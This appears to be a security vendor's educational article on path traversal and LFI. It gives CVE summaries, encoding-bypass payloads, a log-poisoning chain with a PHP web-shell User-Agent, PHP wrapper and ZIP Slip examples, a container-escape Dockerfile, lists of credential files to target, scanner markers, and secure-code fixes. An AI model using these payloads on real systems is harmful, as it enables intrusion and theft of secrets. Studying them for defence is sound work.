Path traversal (CWE-22) lets attackers escape an intended directory with ../ sequences to read sensitive files, chain to RCE via log poisoning, or escape containers entirely.
TL;DR
../ sequences escape the intended base directory — read /etc/passwd, .env, SSH keys, Kubernetes tokens%2e%2e%2f, %252e, ....//) defeat every naive blacklist filterphp://filter, phar://)os.path.realpath() / getCanonicalPath() after join, then assert result starts with base directoryPath traversal — also called directory traversal or dot-dot-slash attack — is a vulnerability that allows an attacker to read, and sometimes write, files outside the directory an application intended to expose. Classified as CWE-22 under OWASP A01:2021 (Broken Access Control), the attack exploits insufficient validation of user-supplied path components: an attacker inserts ../ sequences that navigate upward in the directory tree beyond the allowed root.
The vulnerability appears wherever an application constructs a file path from user input without resolving and validating the result against a known-safe base: file download endpoints (?file=report.pdf), template loaders (?page=welcome), image servers, log viewers, plugin installers, and archive extractors. In closed-source projects, Aikido research tracked an 85% increase in path traversal prevalence between 2023 and 2024 (1.9% to 3.5% of all findings). CVE-2024-23897 (Jenkins, CVSS 9.8) was weaponized within days of disclosure; CVE-2024-4577 (PHP-CGI) within 48 hours — both added to the CISA KEV catalog.
Path traversal vs. related vulnerabilities:
include() or require() — enables both file read and code execution via PHP wrappers. Every LFI is a path traversal; not every path traversal is an LFI.include() with allow_url_include=On and points to a remote URL — effectively SSRF at the PHP layer.The attack exploits how servers construct file paths by concatenating a base directory with user-supplied input. Without canonicalization, ../ sequences traverse upward in the directory tree before the filesystem resolves the final path.
Four conditions that enable the attack:
Concrete HTTP example — unauthenticated file read:
GET /api/reports/download?file=../../../../etc/passwd HTTP/1.1
Host: target.example.comResponse body:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...The application constructed /var/www/app/reports/../../../../etc/passwd, which the OS resolved to /etc/passwd. Four ../ hops: reports/ → app/ → www/ → var/ → filesystem root.
| Variant | Core Technique | Typical Impact | Dedicated Page |
|---|---|---|---|
Basic ../ traversal | Literal dot-dot-slash in path parameter | Arbitrary file read (credentials, keys, source code) | /learn/path-basic |
| Encoded traversal | URL, double-URL, Unicode encoding of ../ | WAF and filter bypass | /learn/path-encoded |
| LFI to RCE | PHP wrappers (php://filter, phar://) + log poisoning chain | Remote code execution from file read primitive | /learn/path-overview |
| ZIP Slip | Archive entries with traversal in filenames → arbitrary write | File overwrite, webshell drop, RCE | /learn/path-overview |
| Windows path traversal | ..\..\, UNC paths, NTFS ADS colon bypass, 8.3 short names | web.config read, SAM backup, IIS escape | /learn/path-windows |
ZIP Slip is a path traversal variant triggered during archive extraction. A malicious archive contains entries with traversal sequences in their filenames:
Archive contents:
../../var/www/html/webshell.php
../../etc/cron.d/backdoorWhen the application extracts the archive without validating each entry's resolved path, files land in attacker-controlled locations outside the intended extraction directory. The primitive achieves arbitrary file write — frequently chained to RCE by overwriting a web-accessible PHP, ASPX, or JSP file.
Secure extraction (Python):
import zipfile, os
def safe_extract(zip_path: str, dest_dir: str) -> None:
dest_dir = os.path.realpath(dest_dir)
with zipfile.ZipFile(zip_path) as zf:
for member in zf.namelist():
target = os.path.realpath(os.path.join(dest_dir, member))
if not target.startswith(dest_dir + os.sep):
raise ValueError(f"ZIP Slip detected: {member}")
zf.extract(member, dest_dir)CVE-2024-1708 (ConnectWise ScreenConnect) achieved unauthenticated RCE via ZIP Slip chained with an authentication bypass — exploited by multiple threat actor groups within 24 hours of disclosure.
Log poisoning escalates a read-only path traversal to full code execution in two steps:
Step 1 — Poison the Apache access log:
GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>Apache writes the User-Agent value verbatim into /var/log/apache2/access.log. The PHP code is now stored on disk.
Step 2 — Include the log via LFI:
GET /view?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Host: target.comPHP interprets the stored code and returns uid=33(www-data). Other poisonable log files include /var/log/nginx/access.log, /var/log/auth.log (via SSH login with a malicious username), and /proc/self/fd/2 (process stderr, bypasses permission restrictions).
php://filter, phar://)PHP stream wrappers transform file paths into executable primitives:
# Source code disclosure — base64-encode any PHP file without executing it
php://filter/convert.base64-encode/resource=index.php
# Filter chain RCE (Synacktiv 2022+) — generates arbitrary PHP without file upload
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...(chain)
# PHAR deserialization — any file operation on phar:// triggers gadget chain
phar:///tmp/upload.jpg (file contains valid PHAR metadata with RCE gadget)PHP filter chain RCE (no file upload required): Charles Fol's php_filter_chain_generator (2022) constructs a php://filter chain that produces arbitrary PHP bytecode targeting /dev/null — achieving RCE purely through include() with a crafted wrapper URI, with allow_url_include=Off and no writable directory required. A PHP application with any LFI is potentially RCE-capable.
realpath() returns false for wrapper URIs (they are not real filesystem paths), so a correct canonical-path check automatically blocks all PHP wrapper exploitation.
CSPT is a browser-side variant in which a Single Page Application constructs API endpoint URLs from user-controlled path segments. Unlike server-side path traversal, no filesystem is involved — the traversal redirects the API call to an unintended internal endpoint.
Attack pattern:
Normal SPA URL: /app/projects/123/settings
Injected URL: /app/projects/123%2F..%2F..%2Fadmin/settings
SPA constructs: GET /api/projects/123/../../../admin/settings
→ resolves to GET /api/admin/settings (bypasses access control)The Meta 2025 bug bounty paid $111,750 for a path traversal chain leading to RCE. CVE-2025-6023 (Grafana) demonstrates CSPT chained with an open redirect and XSS to achieve account takeover. Defense: sanitize all URL path segments before using them in client-side API calls; never pass raw window.location.pathname components into fetch URLs.
CSPT and LLM propagation: A 2025 investigation by The Register found that LLMs generated path-traversal-vulnerable code in 76 out of 80 test requests — even when explicitly asked for secure file-serving code. LLMs trained on pre-2010 Stack Overflow answers reproduce os.path.join(base, user_input) without the canonical path check. Always review AI-generated file-serving code with the same scrutiny as legacy code.
The runc "Leaky Vessels" vulnerability (CVSS 8.6) demonstrates path traversal escaping container isolation entirely. runc leaks an open file descriptor referencing the host's working directory before pivot_root is called. Setting process.cwd to /proc/self/fd/7 in a container's config resolves the container's working directory against the host filesystem:
# Malicious Dockerfile — triggers CVE-2024-21626
FROM ubuntu
WORKDIR /proc/self/fd/7Executing processes with paths relative to this leaked CWD accesses host files directly. Impact: full container escape — read/write host filesystem, steal Kubernetes service account tokens, full cloud environment compromise. Patched in runc 1.1.12, Docker 25.0.2, containerd 1.7.13.
Orange Tsai's 2024 research documented 9 CVEs and 20 exploitation techniques in Apache HTTP Server's path handling. CVE-2024-38474 (CVSS 9.1): encoded question marks (%3F) in mod_rewrite backreferences cause path truncation, allowing escape from the document root and potential RCE via script execution. CVE-2024-38472: UNC path coercion on Windows via %5C%5Cattacker-server/path triggers SSRF through apr_filepath_merge(). Patched in Apache 2.4.60 (July 2024).
| CVE | Product | CVSS | Mechanism | Year |
|---|---|---|---|---|
| CVE-2024-23897 | Jenkins ≤ 2.441 | 9.8 Critical | args4j @/path/to/file expands arbitrary files in CLI — reads master.key, CSRF crumb → RCE chain. CISA KEV. | 2024 |
| CVE-2023-2825 | GitLab CE/EE 16.0.0 | 10.0 Critical | Unauthenticated arbitrary file read via nested group URL path — private keys, runner tokens, /etc/passwd | 2023 |
| CVE-2024-1708 | ConnectWise ScreenConnect ≤ 23.9.7 | 8.4 High | ZIP Slip → ASPX webshell in web root → RCE as SYSTEM. Exploited within 24h. CISA KEV. | 2024 |
| CVE-2024-38474 | Apache HTTP Server < 2.4.60 | 9.1 Critical | mod_rewrite encoded %3F path confusion → escape document root → RCE. Orange Tsai DEF CON 32. | 2024 |
| CVE-2024-38819 | Spring Framework 5.3.x/6.0.x/6.1.x | 7.5 High | Double-encoded traversal in RouterFunctions static resource serving → arbitrary file read | 2024 |
| CVE-2024-4577 | PHP-CGI on Windows (8.x) | 9.8 Critical | Windows Best-Fit encoding maps soft-hyphen (0xAD) to hyphen, injecting CLI args → RCE. TellYouThePass ransomware. CISA KEV. | 2024 |
| CVE-2024-21626 | runc ≤ 1.1.11 (Docker/K8s) | 8.6 High | fd leak before pivot_root → WORKDIR /proc/self/fd/7 resolves to host filesystem → container escape | 2024 |
| CVE-2024-50379 | Apache Tomcat 9.x/10.x/11.x | 9.8 Critical | TOCTOU race in JSP compilation on case-insensitive FS → arbitrary JSP overwrite → RCE | 2024 |
| CVE-2024-57727 | SimpleHelp ≤ 5.5.7 | 7.5 High | Unauthenticated path traversal → read passwords.xml + credentials. Medusa/DragonForce ransomware exploitation. | 2024 |
| CVE-2025-24030 | Envoy proxy (admin port 9901) | 7.5 High | Path canonicalization bypass on admin interface → access internal diagnostic endpoints, leak TLS keys | 2025 |
Input validation filters operating on the raw string before filesystem resolution are bypassed by any encoding that produces the same byte sequence after the filesystem's own normalization:
| Encoding Technique | Payload Example | Bypass Target |
|---|---|---|
| Single URL encode | ..%2f..%2fetc%2fpasswd | Raw ../ string filter |
| Double URL encode | ..%252f..%252fetc%252fpasswd | Proxy decodes once; app decodes twice |
| Encode dots only | %2e%2e/%2e%2e/etc/passwd | Slash-only filter |
| Encode all | %2e%2e%2f%2e%2e%2fetc%2fpasswd | Multi-character filter |
| Backslash encode (Windows) | ..%5c..%5cwindows%5cwin.ini | Forward-slash-only filter |
| Unicode fullwidth solidus | ..%ef%bc%8f..%ef%bc%8fetc%2fpasswd | ASCII-only decoder |
| Overlong UTF-8 | ..%c0%af..%c0%afetc%2fpasswd | Non-overlong decoder |
| Nested sequences | ....//....//etc//passwd | Single-pass strip of ../ |
| Null byte extension bypass | ../../etc/passwd%00.jpg | Extension allowlist (PHP < 5.3.4) |
| Tomcat path parameter | ..;/..;/..;/etc/passwd | WAF rules matching ../ only |
Why blacklists always fail: A filter stripping ../ is bypassed by ....// (nested sequences reduce to ../ after one pass). A filter blocking %2e is bypassed by %252e (double-encoded). A filter rejecting /etc/ is bypassed by /proc/self/environ. The encoding space is unbounded — no blocklist is complete. Only canonical path resolution followed by an allowlist check is reliable.
file=, path=, page=, template=, include=, doc=, resource=, lang=, theme=, layout=, attachment=, export=.../../../../etc/passwd (Linux) or ..\..\..\windows\win.ini (Windows). Confirm with file-specific markers.%2e%2e%2f, ..%2f, %252e%252e%252f, ....//, ..%c0%af.?file=/etc/passwd — Python os.path.join(base, "/etc/passwd") returns /etc/passwd; the base is discarded for absolute inputs.php://filter/convert.base64-encode/resource=index.php — base64-decode the response to recover source code./var/log/apache2/access.log via traversal, then inject <?php system($_GET['cmd']); ?> as User-Agent.../../evil.txt entries using evilarc or zip-slip-vulnerability tooling.SecLists/Fuzzing/LFI/LFI-Jhaddix.txt wordlistlfi, traversal, local-file-readBreachVex detection: template-based scanning, parameter fuzzing, direct HTTP probing with 19+ payload variants, and an extended LFI prover covering PHP wrappers. A finding reaches confirmed status only when three gates pass: HTTP 200, content length ≥ 10 bytes, and a content marker matching the target file (e.g., root:x:[0-9]+:[0-9]+: for /etc/passwd). PHP filter responses are base64-decoded before marker matching. Fuzzing-only hits without direct confirmation are downgraded to low-severity potential findings to suppress false positives.
Key confirmation markers:
/etc/passwd → root:x:0:0:, /bin/bash, nologin
/proc/self/environ → PATH=, HOME=, USER=, AWS_SECRET_ACCESS_KEY=
WEB-INF/web.xml → <web-app
~/.aws/credentials → [default], aws_access_key_id=
C:\Windows\win.ini → [fonts], [extensions]Resolve the full path with realpath() / getCanonicalPath() after joining with the base directory, then assert the result starts with the base directory followed by a path separator. The separator suffix is critical — without it, /uploads_backup passes a startsWith('/uploads') check.
Python:
import os
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_open(filename: str):
# realpath resolves symlinks, normalizes .., decodes percent-encoding
requested = os.path.realpath(os.path.join(BASE_DIR, filename))
if not requested.startswith(BASE_DIR + os.sep):
raise ValueError("Path traversal detected")
return open(requested, "rb")Node.js:
const path = require("path");
const fs = require("fs");
const BASE = fs.realpathSync("/var/www/app/uploads");
function safeRead(userInput) {
const resolved = path.resolve(BASE, userInput);
const real = fs.realpathSync(resolved); // follows symlinks
if (!real.startsWith(BASE + path.sep)) {
throw new Error("Path traversal blocked");
}
return fs.readFileSync(real);
}Java:
File base = new File("/var/www/app/uploads").getCanonicalFile();
File requested = new File(base, userInput).getCanonicalFile();
// getCanonicalPath resolves .., symlinks, and OS normalization
if (!requested.toPath().startsWith(base.toPath())) {
throw new SecurityException("Path traversal attempt");
}PHP:
<?php
$base = realpath('/var/www/uploads');
$requested = realpath($base . DIRECTORY_SEPARATOR . $_GET['file']);
// realpath() returns false for non-existent paths AND for php:// wrappers
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit('Forbidden');
}
echo file_get_contents($requested);Go:
import (
"net/http"
"os"
"path/filepath"
"strings"
)
const BASE = "/var/www/uploads"
func safeDownload(w http.ResponseWriter, r *http.Request) {
clean := filepath.Clean(r.URL.Query().Get("file"))
full := filepath.Join(BASE, clean)
if !strings.HasPrefix(full, BASE+string(filepath.Separator)) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
http.ServeFile(w, r, full)
}Never pass user input directly to filesystem functions. Store files under UUIDs and resolve the real path server-side:
# Safe: user supplies an opaque ID, never a filename
record = db.query(File).filter_by(id=file_id, owner=current_user).first()
if not record:
raise HTTPException(status_code=404)
return send_file(record.storage_path) # internal path, never user-controlledRun file-serving processes inside a chroot jail or container with no access to sensitive system paths. Even a successful traversal cannot reach /etc/passwd if the process's filesystem root is the application directory. Combine with seccomp / AppArmor / SELinux mandatory access control policies.
; php.ini
allow_url_fopen = Off ; blocks file:// and http:// in include()
allow_url_include = Off ; required for data:// and phar:// wrapper attacks
open_basedir = /var/www/app ; restricts all filesystem access to this prefixopen_basedir enforces a kernel-level path restriction that blocks traversal even if application-level checks are bypassed.
Always validate each archive entry's resolved path before extraction. Reject entries with absolute paths or symlinks pointing outside the destination directory. Never extract directly to a web-accessible directory without validation.
| Filter Applied | Bypass That Defeats It |
|---|---|
Strip ../ | ....// reduces to ../ after one strip pass |
Reject %2e | Double-encode: %252e passes the filter, decodes on use |
Check startsWith(base) | Include base in payload: /uploads/../../../etc/passwd |
Block /etc/ string | Use /proc/self/environ for equivalent secrets |
| Remove null bytes | Use modern payloads that need no null byte |
| Extension allowlist (denylist approach) | shell.php%00.jpg, shell.PHP, NTFS ADS shell.php::$DATA |
What is path traversal?
Path traversal (CWE-22) is a vulnerability where insufficient validation of user-supplied file path components allows ../ sequences to escape the intended base directory, exposing arbitrary server files — /etc/passwd, SSH private keys, .env secrets, Kubernetes tokens. In PHP applications, it escalates to RCE via PHP wrappers or log poisoning. Classified under OWASP A01:2021 Broken Access Control.
What is the difference between path traversal and LFI?
Path traversal describes escaping the intended directory. Local File Inclusion (LFI, CWE-98) is the PHP-specific case where user input reaches include() or require(), enabling PHP wrapper exploitation and code execution. Every LFI is a path traversal; not every path traversal is an LFI.
What is ZIP Slip?
ZIP Slip is a path traversal variant in archive extraction: a malicious archive contains entries with ../../ traversal sequences that cause files to land outside the intended extraction directory, enabling arbitrary file write and RCE. CVE-2024-1708 (ScreenConnect, CISA KEV) exploited it within 24 hours of disclosure.
What is CSPT?
Client-Side Path Traversal (CSPT) occurs when a SPA constructs API URLs from user-controlled path segments. Injecting ../ redirects the API call to an unintended endpoint — bypassing access controls or chaining to XSS. The Meta 2025 bug bounty paid $111,750 for a CSPT chain.
Why does blacklist filtering fail?
The encoding space is unbounded: ....//, %252e, %c0%af, %ef%bc%8f, Unicode normalization variants, and nested sequences all produce the same filesystem operation after OS-level normalization. The only reliable defense is canonical path resolution (realpath() / getCanonicalPath()) followed by an allowlist check.
How do I prevent path traversal in Python?
os.path.realpath(os.path.join(BASE_DIR, user_input)) then assert the result startsWith(BASE_DIR + os.sep). Never use os.path.join() alone — os.path.join('/uploads/', '/etc/passwd') returns /etc/passwd because an absolute second argument replaces the base.
What files should I test for first?
/etc/passwd (confirm traversal), /proc/self/environ (often contains cloud credentials), ~/.ssh/id_rsa, ~/.aws/credentials, /var/run/secrets/kubernetes.io/serviceaccount/token, WEB-INF/web.xml (Java), web.config (IIS), /.env.
What is the CVSS score for path traversal? Typical read-only traversal: CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/C:H/I:N/A:N). Write-capable variants (ZIP Slip, log poisoning): 8.4-9.8. CVE-2023-2825 (GitLab) scored 10.0 Critical; CVE-2024-23897 (Jenkins) scored 9.8 Critical with active KEV exploitation.
Path traversal (CWE-22, also called directory traversal) is a vulnerability where insufficient validation of user-supplied file path components allows an attacker to insert ../ sequences that escape the intended base directory. The attacker can read arbitrary server files — /etc/passwd, SSH private keys, .env secrets — and in advanced cases chain to remote code execution. Classified under OWASP A01:2021 Broken Access Control.
Path traversal (CWE-22) refers to escaping the intended directory using ../ sequences to access files the application did not intend to expose. Local File Inclusion (LFI, CWE-98) is a PHP-specific variant where user input reaches include() or require(), enabling both file read and code execution via PHP wrappers. Every LFI is a path traversal; not every path traversal is an LFI. SSRF is distinct: it weaponizes the server's own network position, not its filesystem.
ZIP Slip is a path traversal variant that occurs during archive extraction. A malicious ZIP, TAR, or JAR file contains entries with traversal sequences in their filenames (e.g., ../../evil.sh). When the application extracts the archive without validating each entry's resolved path, files land outside the intended extraction directory — enabling arbitrary file write and frequently RCE. CVE-2024-1708 (ConnectWise ScreenConnect, CISA KEV) and CVE-2024-57728 (SimpleHelp) are 2024 examples with active ransomware exploitation.
Client-Side Path Traversal (CSPT) is a browser-side variant in which a Single Page Application constructs API endpoint URLs from user-controlled path segments. Injecting ../ sequences redirects the API call to an unintended endpoint — potentially exposing data or chaining to XSS when the unintended response is rendered unsanitized. The Meta 2025 bug bounty paid $111,750 for a CSPT chain. CVE-2025-6023 (Grafana) demonstrates CSPT leading to account takeover.
Log poisoning is a two-step LFI-to-RCE chain. Step 1: inject PHP code into a server log file via a controlled HTTP header — GET / HTTP/1.1 with User-Agent: <?php system($_GET['cmd']); ?> causes Apache to write this into /var/log/apache2/access.log. Step 2: include the log via LFI — ?file=../../../var/log/apache2/access.log&cmd=id — PHP interprets the injected code and returns command output. Prerequisites: confirmed LFI reaching a log file that is readable by the PHP process.
PHP stream wrappers are URI schemes that PHP's filesystem functions accept alongside normal file paths. php://filter/convert.base64-encode/resource=index.php returns the base64-encoded source of any PHP file without executing it — enabling credential extraction. phar:// triggers automatic deserialization of PHAR metadata, enabling RCE via object injection gadgets. data:// injects code directly but requires allow_url_include=On. zip:// executes PHP from an uploaded archive. PHP's realpath() returns false for wrapper URIs, so a correct canonical-path check blocks all wrappers automatically.
Blacklist filters match specific patterns — ../ %2e%2e%2f etc. — but the encoding space is infinite. A filter stripping ../ is bypassed by ....// (nested sequences become ../ after one strip). A filter blocking %2e is bypassed by %252e (double-encoded). A filter blocking /etc/ is bypassed by /proc/self/environ. A filter removing backslashes misses %5c. Unicode overlong encodings (%c0%af, %ef%bc%8f) bypass ASCII-only checks. The only reliable defense is canonical path resolution followed by an allowlist check against the expected base directory.
Use os.path.realpath() to resolve the joined path, then assert the result starts with the base directory followed by os.sep. The os.sep suffix prevents /uploads_backup from passing a startsWith('/uploads') check. Never rely on os.path.join() alone — os.path.join('/uploads/', '/etc/passwd') returns '/etc/passwd' because the absolute second argument replaces the base. Always call realpath() after join(), never before.
Use File.getCanonicalFile() (not getAbsolutePath(), which does not resolve ..) on the joined path, then assert the result starts with the canonical base path using Path.startsWith(). Never construct File objects with raw user input without immediate canonicalization. For servlet containers, restrict file-serving servlets to a specific directory via security constraints in web.xml and run with least-privilege OS accounts.
A typical unauthenticated read-only path traversal scores CVSS 7.5 High: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. When chained to write (ZIP Slip, log poisoning) the score rises to 8.4-9.8. CVE-2023-2825 (GitLab) scored 10.0 Critical — unauthenticated read of any file including private keys and runner tokens. CVE-2024-23897 (Jenkins) scored 9.8 Critical and was added to the CISA KEV catalog.
CVE-2024-21626, branded Leaky Vessels (CVSS 8.6), is a container escape vulnerability in runc ≤1.1.11. runc leaks an open file descriptor referencing the host's working directory before calling pivot_root. Setting process.cwd to /proc/self/fd/7 in the container config resolves the container's working directory against the host filesystem — a path traversal at the container runtime level enabling full host filesystem read/write. Patched in runc 1.1.12, Docker 25.0.2.
Priority Linux targets: /etc/passwd (confirm traversal), /etc/shadow (hashes, requires root read), /proc/self/environ (often contains AWS_SECRET_ACCESS_KEY, DATABASE_URL), ~/.ssh/id_rsa (SSH private key), ~/.aws/credentials, /var/run/secrets/kubernetes.io/serviceaccount/token (Kubernetes JWT), /app/.env or /.env (application secrets). Java applications: WEB-INF/web.xml, WEB-INF/classes/application.properties. Windows: C:\Windows\win.ini (confirm traversal), C:\inetpub\wwwroot\web.config (IIS secrets).
BreachVex runs multiple complementary detection methods: template-based scanning with LFI/traversal templates, parameter fuzzing against LFI-prone parameters (file, path, page, template, include, doc), direct HTTP probing with 19+ payload variants, and an extended LFI prover covering PHP wrappers. A finding is promoted to confirmed only when three criteria are met: HTTP 200 status, response body length ≥ 10 bytes, and a content marker matching the target file (e.g., root:x:[0-9]+:[0-9]+: for /etc/passwd). PHP filter responses are base64-decoded before marker matching.
The runc Leaky Vessels attack (CVE-2024-21626) works by exploiting a file descriptor leak in runc before pivot_root isolation completes. An attacker crafts a malicious container image or Dockerfile with WORKDIR set to /proc/self/fd/7 (the leaked fd number pointing to the host CWD). When runc starts the container, the process's working directory resolves against the host filesystem. Relative paths like ./../../etc/passwd then access host files. Impact: full container escape, arbitrary host file read/write, lateral movement in cloud environments.